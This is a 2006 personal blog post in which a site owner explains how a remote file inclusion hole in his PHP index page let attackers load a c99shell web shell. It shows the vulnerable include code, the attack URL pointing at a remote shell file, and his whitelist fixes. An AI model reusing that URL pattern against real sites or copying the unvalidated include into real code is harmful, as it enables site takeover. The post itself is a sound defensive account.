You are hereBlogs / David Grant's blog / I Think I Fixed the c99shell Exploit on my Site

I Think I Fixed the c99shell Exploit on my Site


By David Grant - Posted on 12 October 2006

So one of my sites was hacked over the weeked. Apparently I was hacked using a c99shell. I think I figured out how they did it, and I think I found a solution to the problem for now.

I had the following code in my index.php script:

<?php
if ($page)
        include($page.'.php');
else
        include('main.php');
?>

So you can go to a URL like http://www.willmusic.ca/index.php?p=tunes and it will load the contents of tunes.php for example. The whole reason for doing that is that the table of contents and header code is all in once place and the information in the main part of the pages comes from different files. These files are php files because sometimes they have some logic coded in them as well.

But the hackers were also able to go to URLs like this: http://www.willmusic.ca/index.php?p=http://membres.lycos.fr/shaunc99/shell_virus/new.txt?ny.net/s.txt? and access a "c-shell".

c99shell screenshotc99shell screenshot

Here is a screenshot of what it looked like. It basically gives them control over the entire site to do whatever they want with it. I am just glad they did not delete anything.

So I changed my index.php script to do this instead:

<?php
if (($page) && in_array($page, $pages))
        include($page.'.php');
else
        include('main.php');
?>

where $pages is a list of the pages on the site. The $pages array already existed, so I should have done this before. A probably even more secure way to do it is to not append '.php' to the name although what I have now is a huge improvement over what was happening before.

I made this even more secure, following some advice that was given to me by one of the site5 support people. He told me that the above code could still be exploited if register_globals was enabled (which it isn't right now) and someone overwrote the $pages variable. So here's the even more secure code:

<?php
if ($page) {
        $location = $pages[$page];
        if ($location != "")
                include($location);
        else
                include('main.php');
}
else
        include('main.php');
?>

where $pages$ is an associative array that maps the ?p= argument (key) to a page (value) that it is allowed to open. This way, I am specifying explicitly what pages can be included with the include command.

It should be:

$pages = array(
'act' => 'file/path.php'
);

include $pages[$page];

Post new comment

The content of this field is kept private and will not be shown publicly.
  • Allowed HTML tags: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <blockquote> <s> <img> <h2> <h3>
  • Lines and paragraphs break automatically.
  • You can enable syntax highlighting of source code with the following tags: <code>, <blockcode>. The supported tag styles are: <foo>, [foo].
  • Insert Google Map macro.
  • Images can be added to this post.
  • You may use [inline:xx] tags to display uploaded files or images inline.
  • You may use [view:name=display=args] tags to display views.

More information about formatting options

CAPTCHA
Sorry I had to add this test to combat the spam problem.
F
i
1
a
4
p
Enter the code without spaces and pay attention to upper/lower case.